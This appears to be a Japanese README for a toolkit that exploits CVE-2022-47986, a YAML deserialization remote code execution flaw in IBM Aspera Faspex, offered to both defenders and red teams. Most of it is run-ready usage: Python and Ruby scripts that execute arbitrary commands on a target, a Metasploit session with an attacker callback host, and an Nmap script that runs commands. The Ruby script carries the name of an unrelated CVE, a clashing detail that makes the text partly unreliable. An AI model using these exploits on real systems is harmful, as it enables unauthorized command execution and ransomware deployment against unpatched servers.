
CVE-2022-47986: 脆弱性を悪用するためのPython、Ruby、NMAP、Metasploitモジュール
この脆弱性は実環境で悪用されています。IceFire はこの脆弱性を利用して、標的のシステムにランサムウェアを展開します。私は、SOC/ブルーチームが影響を受けたシステムを特定し、ペンテスター/レッドチームがそれを悪用して報告できるように支援したいと考えています。
IBM Aspera Faspex の YAML デシリアライゼーションによって RCE(リモートコード実行)を引き起こす脆弱性を悪用するため、純粋な Python および Ruby スクリプト、Metasploit モジュール、Nmap モジュールを提供します。
python3 CVE-2022-47986.py <target> <command>
# OR
chmod u+x CVE-2022-47986.py
./CVE-2022-47986.py https://aspera.faspax.local id
ruby CVE-2021-31166.rb
ruby CVE-2021-31166.rb <hostname> -c <command>
ruby CVE-2021-31166.rb aspera.faspax.local -c id
msf6 > use exploit/linux/http/ibm_aspera_faspex_rce_yaml_deserialization
msf6 exploit(linux/http/ibm_aspera_faspex_rce_yaml_deserialization) > set RHOST 10.10.10.10
RHOST => 10.10.10.10
msf6 exploit(linux/http/ibm_aspera_faspex_rce_yaml_deserialization) > set LHOST 192.168.77.139
LHOST => 192.168.77.139
msf6 exploit(linux/http/ibm_aspera_faspex_rce_yaml_deserialization) > exploit
nmap -p 443 --script ibm-aspera-faspex-rce 172.17.0.2
nmap -p 443 --script ibm-aspera-faspex-rce --script-args "command=id" 172.17.0.2
このツールは GPL バージョン 3 の下でライセンスされています。